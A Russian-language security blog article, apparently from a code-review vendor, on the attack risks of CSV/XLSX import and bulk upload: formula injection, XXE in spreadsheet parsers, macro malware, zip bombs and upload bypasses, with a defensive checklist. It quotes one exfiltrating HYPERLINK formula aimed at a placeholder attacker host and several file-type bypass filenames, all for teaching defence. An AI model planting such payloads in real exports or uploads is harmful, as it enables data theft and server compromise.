Материал

Импорт данных в систему: риски CSV, XLSX и массовой загрузки

Как файл с данными становится вектором атаки — и что с этим делать

Почему «безопасная» кнопка «Загрузить файл» таковой не является

Импорт данных из файла — функция, которая есть в большинстве B2B-продуктов: CRM, ERP, аналитические платформы, системы учёта, внутренние инструменты. Пользователь выгружает список клиентов из Excel, загружает его в систему — ничего необычного.

Именно эта обыденность делает функцию опасной. Форма авторизации или поле поиска давно получают должный уровень внимания со стороны security-команды. Форма загрузки файла — значительно реже [1]. Export-эндпоинты зачастую реализуются как вспомогательная функциональность и проходят меньше проверок, чем основные пользовательские интерфейсы [2].

При этом угрозы здесь не теоретические. В 2024 году серия CVE в PHPSpreadsheet (одной из самых популярных PHP-библиотек для работы с XLSX) позволяла получить файлы с сервера через специально подготовленный Excel-документ [3]. В 2023 году сотрудник VirusTotal случайно загрузил CSV с персональными данными более 5 600 корпоративных клиентов, в том числе сотрудников спецслужб США, Великобритании, Германии и Тайваня [4].

Статья разбирает риски каждого формата и механизм их возникновения, затем переходит к практическому чек-листу — что именно нужно проверить в коде и инфраструктуре до того, как функция импорта окажется в продакшене.

Целевая аудитория: Tech Lead, DevSecOps-инженер, AppSec-специалист, CTO, которому нужно быстро оценить, насколько текущий подход команды соответствует базовым требованиям безопасности.

Часть I. CSV: простой формат со сложной угрозой

Что такое формульная инъекция

CSV — это просто текст, разделённый запятой. В нём нет макросов, нет исполняемого кода. Угроза возникает в момент, когда пользователь открывает этот файл в Microsoft Excel, LibreOffice Calc или Google Sheets.

Любая ячейка, начинающаяся с символов =, +, - или @, интерпретируется этими приложениями как формула [5]. Это значит, что если ваше приложение позволяет пользователям вводить данные в произвольном виде, а затем экспортирует их в CSV — злоумышленник может разместить в поле (например, в имени пользователя, номере телефона или описании продукта) строку вида =HYPERLINK("http://evil.example/exfil?data="&A1,"click me"). Когда администратор или аналитик откроет выгруженный CSV в Excel, формула выполнится.

OWASP классифицирует атаку как CSV Injection и прямо указывает, что её сложно митигировать и она явно запрещена рядом программ bug bounty именно потому, что ответственность частично лежит на клиентском ПО [5].

Вектор атаки: от экспорта к RCE

Академическое исследование, опубликованное в сборнике USENIX WOOT'25, описывает полный спектр последствий формульных инъекций — от экзотических (эксфильтрация данных через гиперссылку) до критических (Remote Code Execution через вызов API уровня операционной системы) [6].

Практический пример: CVE-2025-12249, обнаруженная в Axosoft Scrum and Bug Tracking (v22.1.1.11545), демонстрирует, как CSV-инъекция через формулу превращается в цепочку «интерпретация формулы → вызов внешней команды → загрузка и выполнение произвольного кода» [7]. Это не теоретический сценарий. Команды атаки: загрузка вредоносного ПО, создание бэкдоров, латеральное перемещение по инфраструктуре — всё это доступно через один файл CSV.

CSV-инъекция как вектор SQL-инъекции на сервере

Существует менее очевидный, но не менее опасный сценарий: SQL-инъекция через CSV-импорт на стороне сервера. Данные из загружаемого файла не всегда проходят тот же маршрут валидации, что данные из веб-форм [8]. Парсер читает строки «как есть» и передаёт их в запрос к БД.

Пентесты показывают реальные случаи, когда в поле CSV-файла размещалась SQL-инъекция, приводившая к ошибке сервера и последующему извлечению данных через слепую инъекцию [9]. Атака с CSV на cmd.exe через SQL-инъекцию — зафиксированный паттерн в практике пентестеров [10].

Что делать с CSV

Для предотвращения формульной инъекции при экспорте: перед записью каждого значения проверять, не начинается ли оно с =, +, -, @, символа табуляции или CR/LF. Если начинается — добавлять префикс-апостроф ' или оборачивать значение в кавычки с экранированием [5]. OWASP также предупреждает, что одного проверки начального символа недостаточно — учитывайте и разделитель полей.

Для импорта: все данные из файла обрабатывать как недоверенный пользовательский ввод и использовать параметризованные запросы или ORM с prepared statements при записи в базу данных.

Часть II. XLSX: XML под капотом и XXE-атаки

Почему XLSX опаснее, чем кажется

XLSX (как и DOCX, PPTX) — это ZIP-архив, содержащий набор XML-файлов. Именно XML-природа формата открывает вектор XML External Entity (XXE) атак.

XXE позволяет злоумышленнику встроить в XML специальную конструкцию <!ENTITY>, ссылающуюся на внешний ресурс — например, файл на сервере (/etc/passwd, конфигурационные файлы с паролями, секреты из переменных среды). Если XML-парсер не отключил обработку внешних сущностей, он попытается прочитать этот файл и включить его в результат обработки [11].

Серьёзность угрозы подтверждает серия CVE в PHPSpreadsheet — одной из наиболее распространённых PHP-библиотек для работы с Excel. В 2024 году было опубликовано несколько критических уязвимостей:

  • CVE-2024-45293: обход XXE-сканера PHPSpreadsheet через добавление пробела вокруг символа = в атрибуте кодировки XML [3]
  • CVE-2024-45048: обход через использование одинарных кавычек вместо двойных в объявлении кодировки [12]
  • CVE-2024-48917: ещё один обход через UTF-7 payload и комментарий в конце файла [13]

Все три уязвимости объединяет одно: защитный сканер в библиотеке существовал, но каждый раз обходился минимальной модификацией структуры XML. Это иллюстрирует системную проблему: регулярное выражение — ненадёжный способ защититься от XXE. Надёжный способ — отключить обработку внешних сущностей на уровне XML-парсера.

PHPSpreadsheet используется в Moodle, Kimai и сотнях других PHP-приложений. Kimai, в частности, применял библиотеку для импорта счетов, что означало доступность вектора для любого администратора платформы [14].

Макросы и XLSM: исполняемый код в файле данных

Помимо XXE, Excel-файлы с поддержкой макросов (XLSM, XLS со старыми Excel 4.0 XLM-формулами) представляют собой отдельный класс угроз. Здесь речь уже идёт не о данных с embedded payload, а о файле, напрямую содержащем исполняемый код.

В 2020–2021 годах был зафиксирован значительный рост вредоносных кампаний через Excel-файлы: Qakbot, IcedID, Dridex, FormBook, RevengeRAT, SnakeKeylogger, GuLoader, AgentTesla доставлялись именно через XLSX/XLSM. По данным исследователей McAfee, всплеск использования формата XLSM произошёл на фоне того, как антивирусные решения научились детектировать Excel 4.0 XLM-макросы в XLSX [15].

В 2022 году Microsoft заблокировала автоматическое выполнение макросов в файлах, загруженных из интернета. Однако атакующие адаптировались: началось массовое использование XLL-файлов — DLL-библиотек, открываемых Excel как плагины. Cisco Talos зафиксировала значительный рост числа вредоносных XLL-файлов начиная с конца 2021 года [16].

В 2024 году продолжались кампании, использующие эксплойт CVE-2017-0199 (уязвимость в обработке OLE-объектов), и схожие kill-chain для доставки RemoteAccess-троянов и стилеров [17].

Практический вывод для команды: если система принимает файлы от пользователей — никогда не принимайте XLSM, XLS, XLTM, XLAM. Только XLSX, и с проверкой содержимого, а не расширения.

Часть III. Массовая загрузка: DoS, zip-бомбы и бесконтрольная нагрузка

Когда «большой файл» кладёт базу данных

Функция массового импорта по своей природе потребляет больше ресурсов, чем единичная операция. Злоумышленник или недобросовестный пользователь может этим воспользоваться тремя способами:

  1. Загрузка чрезмерно большого файла без ограничений на размер — классический вектор исчерпания памяти или дискового пространства.
  1. Zip-бомба: архив XLSX — это ZIP. Специально сконструированный XLSX может разворачиваться в данные в тысячи раз большего объёма, чем его размер на диске. CVE-2024-54682 в Mattermost (CVSS высокий) зафиксировала именно этот вектор: отсутствие ограничения на размер Slack-импорта позволяло пользователям вызывать DoS через zip-бомбу [18].
  1. Массовая вставка без транзакционного контроля: импорт 100 000 строк без пакетной обработки и ограничений блокирует таблицу и деградирует производительность системы для всех остальных пользователей.

Неограниченная загрузка файлов (CWE-434)

MITRE CWE-434 (Unrestricted Upload of File with Dangerous Type) входит в список 2024 CWE Top 25 Most Dangerous Software Weaknesses, опубликованный CISA совместно с MITRE [19]. Уязвимость возникает, когда приложение не валидирует тип загружаемого файла должным образом, позволяя загрузить файл с исполняемым кодом.

Последствия широки: от компрометации веб-сервера через загрузку web-shell до перегрузки файловой системы, форвардинга атак на backend-системы и дефейса [20].

Типичные техники обхода проверки типа файла:

  • Double extension: report.csv.php — файл с именем, оканчивающимся на нужное расширение, но с исполняемым первым расширением
  • MIME-тип spoofing: заголовок Content-Type: text/csv легко подделать; надёжная проверка — только по magic bytes (сигнатуре файла)
  • Null bytes в имени файла: в некоторых реализациях report.php\x00.csv интерпретируется как PHP
  • Смена расширения после загрузки

OWASP File Upload Cheat Sheet прямо предупреждает: не доверяйте Content-Type header — его легко подделать [21]. Валидировать необходимо фактический тип по содержимому.

Race condition при загрузке файлов

Менее очевидный, но зафиксированный риск — TOCTOU (Time-of-Check Time-of-Use) race condition. Apache Tomcat CVE-2024-50379 и CVE-2024-56337 демонстрируют: если между проверкой файла и его использованием есть временной зазор, атакующий может подменить или перезаписать файл в этом промежутке — в ряде конфигураций это ведёт к Remote Code Execution [22].

Для системы с загрузкой файлов это означает: проверка, переименование и перемещение файла в безопасное место должны быть атомарными операциями.

Часть IV. Общая карта рисков

Риски, общие для всех форматов

Независимо от формата, любой импорт данных затрагивает несколько классических слабостей, описанных в CWE Top 25 [19] и OWASP Top 10:

  1. CWE-20 (Improper Input Validation) — данные из файла не проходят ту же валидацию, что веб-запросы; ни тип, ни значение полей не проверяются на соответствие ожиданиям системы.
  1. CWE-89 (SQL Injection) — строки из CSV/XLSX передаются в запросы без параметризации.
  1. CWE-434 (Unrestricted File Upload) — загрузка файла с опасным типом без надлежащей проверки.
  1. CWE-611 (Improper Restriction of XML External Entity Reference, XXE) — XML-парсер обрабатывает внешние сущности в XLSX.
  1. CWE-400 (Uncontrolled Resource Consumption) — нет ограничений на объём загружаемых данных.
  1. CWE-367 (TOCTOU Race Condition) — между проверкой и использованием файла возможна подмена.

Что часто упускают

Security-команды фиксируют инъекции в веб-формах, но пропускают их в export-эндпоинтах: поля вроде имени пользователя, email, комментария или кастомного поля появляются в CSV как есть — без formula-специфичной валидации [2].

Разработчики проверяют расширение файла, но не проверяют его сигнатуру. Проверяют MIME-тип, который приходит от клиента и который подделывается за одну секунду.

Команды добавляют ограничение на размер файла, но не ограничивают количество строк или объём данных, которые файл содержит внутри после распаковки.

Часть V. Практический чек-лист: что проверить до merge

Валидация файла

  • Не принимайте тип файла на основании расширения или Content-Type header. Проверяйте magic bytes (сигнатуру файла) [21].
  • Используйте allowlist форматов: если системе нужен только CSV — принимайте только CSV. Если нужен XLSX — только XLSX без поддержки XLSM, XLS, XLAM.
  • Ограничивайте размер файла до upload (не только при парсинге). Устанавливайте лимиты и на уровне web-сервера, и на уровне приложения.
  • Генерируйте новое имя файла на сервере — не используйте оригинальное имя из запроса [21].
  • Храните загруженные файлы за пределами webroot — в изолированном хранилище без возможности прямого HTTP-доступа [21].

Парсинг CSV

  • Все значения из файла считать недоверенным вводом.
  • При экспорте в CSV: добавлять апостроф-префикс ' к ячейкам, начинающимся с =, +, -, @, CR, LF [5]. Проверять не только начало строки, но и значения после разделителей полей.
  • При импорте из CSV: использовать параметризованные запросы или ORM с prepared statements для каждой строки.
  • Ограничивать максимальное количество строк и размер каждой ячейки.

Парсинг XLSX

  • Отключать обработку внешних XML-сущностей (XXE) на уровне конфигурации XML-парсера — это не опция, это обязательная настройка [11].
  • Удерживать библиотеки (PHPSpreadsheet, Apache POI, openpyxl и другие) в актуальных версиях. CVE-2024-45293, CVE-2024-45048, CVE-2024-48917 — всё это уязвимости, закрытые патчами, которые важно устанавливать оперативно [3, 12, 13].
  • Не принимать XLSM, XLS, XLTM, XLAM. Если принимаете — обезвреживать макросы перед обработкой, либо использовать sandbox.
  • Рассмотреть CDR (Content Disarm and Reconstruction) для production-сред с высоким уровнем чувствительности данных.

Массовая загрузка

  • Устанавливать и соблюдать лимиты: размер файла, число строк, частота запросов (rate limiting per user/per API key).
  • Защищать от zip-бомб: при работе с архивами проверять размер разжатого содержимого до полной обработки.
  • Выносить тяжёлый импорт в асинхронную обработку (очереди) — не выполнять в HTTP-запросе.
  • Ограничивать ресурсы обработчика (timeout, memory limit, CPU).
  • Реализовывать транзакционный импорт: либо весь пакет, либо ничего. С возможностью отката при ошибке.
  • Логировать все операции импорта с идентификатором пользователя, временем, количеством строк и хешем файла.

Авторизация

  • Импорт данных — привилегированная операция. Убедитесь, что только авторизованные пользователи с соответствующей ролью могут загружать файлы.
  • Разделяйте доступ к загрузке и к просмотру результатов импорта.
  • Проверяйте принадлежность данных: пользователь не должен иметь возможность импортировать данные в чужой аккаунт или workspace.

Часть VI. Ошибки и как их избежать

Ошибка 1: «Я проверяю расширение файла — этого достаточно». Нет. Расширение подделывается за секунду. Проверяйте magic bytes.

Ошибка 2: «У нас только CSV, нет макросов, нет риска». CSV-инъекция не требует макросов. Она живёт в любом поле, которое попадёт в экспортированный файл и будет открыто в Excel.

Ошибка 3: «Мы передаём данные в ORM — SQLi нам не грозит». ORM не гарантирует параметризацию, если используются raw queries или строковая конкатенация. Проверяйте.

Ошибка 4: «Файл парсит библиотека, она защищена». PHPSpreadsheet имел XXE-защитный сканер, который обходился три раза подряд через минимальные изменения в файле [3, 12, 13]. Библиотека не снимает ответственность с команды — она её распределяет.

Ошибка 5: «Мы ограничили размер файла до 10 MB — этого хватит». ZIP-бомба размером 1 MB может распаковаться в гигабайты. Ограничивайте размер разжатого содержимого, а не только архива.

Ошибка 6: «Импорт используют только наши сотрудники». Insider threat — реальный сценарий. Логируйте, ограничивайте и ревьюте.

Часть VII. Реальные случаи

Инцидент VirusTotal (2023): сотрудник загрузил CSV с именами 5 600 корпоративных клиентов, включая персонал государственных структур, на публичную платформу. Причина: человеческая ошибка плюс отсутствие DLP-контроля на экспортных данных [4].

CVE-2024-45293 (PHPSpreadsheet, 2024): XLSX с одним пробелом в атрибуте кодировки XML обходил всю защитную логику библиотеки и позволял читать произвольные файлы с сервера. Уязвимость затронула тысячи PHP-приложений, использующих библиотеку [3].

CVE-2024-54682 (Mattermost, 2024): отсутствие ограничения на размер Slack-импорта позволяло любому администратору команды вызывать DoS через zip-бомбу [18].

CVE-2025-12249 (Axosoft, 2025): формульная инъекция в CSV-экспорте из bug-трекера приводила к выполнению произвольного кода на машине пользователя [7].

Часть VIII. Импорт данных в контексте AI-кодинга

Отдельного внимания заслуживает ситуация, когда функция импорта написана с помощью AI-ассистента. Исследование на базе данных GitHub Copilot показало: Copilot генерировал уязвимый код для сценариев CWE-434 в большинстве случаев, когда задача требовала валидации типа загружаемого файла [23]. Эндпоинт работает — файл загружается. Но проверка типа либо опирается только на расширение, либо отсутствует.

Именно здесь слепое доверие к «работающему» PR становится проблемой: функционально корректный код для загрузки файла не обязательно безопасен. Ревью безопасности кода импорта данных — не формальность.

Команды, использующие AI-кодинг, оказываются перед знакомой задачей: скорость генерации кода значительно превышает скорость его проверки. HighVibe в этом контексте работает как слой контроля до merge — анализирует конкретное изменение (эндпоинт загрузки, парсинг файла, запись в БД) и помогает заметить отсутствие валидации типа, параметризации запросов или ограничений ресурсов до того, как код уйдёт в продакшен.

Заключение: что делать дальше

Импорт данных через CSV и XLSX — это не «дополнительная фича», это расширенная поверхность атаки. Каждый такой эндпоинт должен проходить тот же security review, что форма авторизации или платёжный API.

Минимальный набор действий, который стоит сделать прямо сейчас:

  1. Инвентаризировать все эндпоинты приёма файлов в системе — включая внутренние инструменты и admin-панели.
  2. Проверить, используют ли парсеры XLSX актуальные версии библиотек с закрытыми XXE-уязвимостями.
  3. Убедиться, что в парсерах XML отключена обработка внешних сущностей.
  4. Добавить formula-специфичную санитизацию при любом CSV-экспорте.
  5. Проверить, что данные из импортируемых файлов попадают в БД через параметризованные запросы.
  6. Установить и протестировать лимиты на размер файла и количество строк, включая защиту от zip-бомб.
  7. Вынести heavy import в очереди и изолировать хранилище загрузок от webroot.

Источники

[1] Sourcery — "CSV injection vulnerabilities" — https://www.sourcery.ai/vulnerabilities/csv-injection-vulnerabilities

[2] ACL Digital — "File Upload Attacks: Web Security & Prevention" — https://www.acldigital.com/blogs/file-upload-attacks-web-security-prevention

[3] GitHub Advisory Database — "CVE-2024-45293: XXE in PHPSpreadsheet's XLSX reader" — https://github.com/advisories/GHSA-6hwr-6v2f-3m88

[4] Comparitech — "What Is CSV Injection? CSV Injection attacks explained" — https://www.comparitech.com/blog/information-security/csv-injection-attacks/

[5] OWASP Foundation — "CSV Injection" — https://owasp.org/www-community/attacks/CSV_Injection

[6] USENIX WOOT'25 — "Comma Separated Vulnerabilities: Detecting Formula Injection" — https://www.usenix.org/system/files/woot25-karl.pdf

[7] Nakul Singh / Medium — "CVE-2025-12249: RCE via CSV Injection (Part 2: RCE Escalation)" — https://medium.com/@sn4ku1/cve-2025-12249-rce-via-csv-injection-part-2-rce-escalation-76ce62222e3b

[8] SECFORCE — "From CSV import to cmd.exe via SQL injection" — https://www.secforce.com/blog/from-csv-import-to-cmdexe-via-sql-injection/

[9] Dionach — "Blind SQL injection through an Excel spread sheet" — https://www.dionach.com/blind-sql-injection-through-an-excel-spread-sheet/

[10] Bishop Fox — "Server-Side Spreadsheet Injection: Formula Injection to RCE" — https://bishopfox.com/blog/server-side-spreadsheet-injections

[11] ACL Digital — "File Upload Vulnerabilities in Web Apps & How to Prevent Attacks" — https://www.acldigital.com/blogs/file-upload-attacks-web-security-prevention

[12] GitHub Advisory Database — "CVE-2024-45048: XXE in PHPSpreadsheet encoding is returned" — https://github.com/advisories/GHSA-ghg6-32f9-2jp7

[13] GitHub Advisory Database — "CVE-2024-48917: XXE in PHPSpreadsheet's XLSX reader" — https://github.com/advisories/GHSA-7cc9-j4mv-vcjp

[14] Shaheen / BeaconRed — "CVE-2024-45293: XXE in PHPSpreadsheet's Excel parser" — https://shaheen.beaconred.net/research/2024/10/25/phpspreadsheet-xxe.html

[15] McAfee Labs — "XLSM Malware with MacroSheets" — https://www.mcafee.com/blogs/other-blogs/mcafee-labs/xlsm-malware-with-macrosheets/

[16] TechRadar — "Microsoft Excel threats could be a major security risk to your business" — https://www.techradar.com/news/microsoft-excel-threats-could-be-a-major-security-risk-to-your-business

[17] Trellix — "Unmasking the Hidden Threat: Inside a Sophisticated Excel-Based Attack Delivering Fileless Remcos RAT" — https://www.trellix.com/blogs/research/unmasking-the-hidden-threat-inside-a-sophisticated-excel-based-attack-delivering-fileless-remcos-rat/

[18] GitLab Advisory Database — "CVE-2024-54682: Mattermost Data Amplification vulnerability" — https://advisories.gitlab.com/pkg/golang/github.com/mattermost/mattermost/server/v8/CVE-2024-54682/

[19] CISA / MITRE — "2024 CWE Top 25 Most Dangerous Software Weaknesses" — https://www.cisa.gov/news-events/alerts/2024/11/20/2024-cwe-top-25-most-dangerous-software-weaknesses

[20] Invicti — "Unrestricted File Upload" — https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/unrestricted-file-upload

[21] OWASP Cheat Sheet Series — "File Upload Cheat Sheet" — https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

[22] Mend.io — "CVE-2024-50379: A Critical Race Condition in Apache Tomcat" — https://www.mend.io/blog/cve-2024-50379-a-critical-race-condition-in-apache-tomcat/

[23] arXiv — "Asleep at the Keyboard? Assessing the Security of GitHub Copilot's Code Contributions" — https://arxiv.org/pdf/2108.09293

Нужен такой же контроль в ваших изменениях и релизах?

Покажем пример такого замечания на вашем сценарии и соберём пилотный контур без лишней суеты.

Запросить пилот Все статьи
Дальше по теме

Ещё материалы

Все статьи
24 июня 2026 18 мин

Политика использования ИИ в команде разработки: как не опоздать, когда всё уже идёт

Если разработчики уже пишут код с ИИ ассистентами, политика нужна сегодня — а не после первого инцидента TL;DR Более 84% разработчиков уже используют или планируют использовать ИИ инструменты 1 , и большинство делают эт…

Открыть материал
23 июня 2026 16 мин

Регистрация и онбординг пользователей: где появляются первые уязвимости

Форма регистрации выглядит просто. За ней скрывается один из наиболее атакуемых периметров приложения. TL;DR Форма регистрации и онбординг флоу — это первая поверхность атаки, которую видит злоумышленник. Большинство уя…

Открыть материал
23 июня 2026 15 мин

Бизнес-логика и мошенничество в продукте: что проверять до запуска

Ваш продукт работает правильно. Но это не значит, что он работает безопасно. TL;DR Уязвимости бизнес логики — это не сломанный код, а сломанные правила: приложение делает именно то, что написано, но не то, что задумывал…

Открыть материал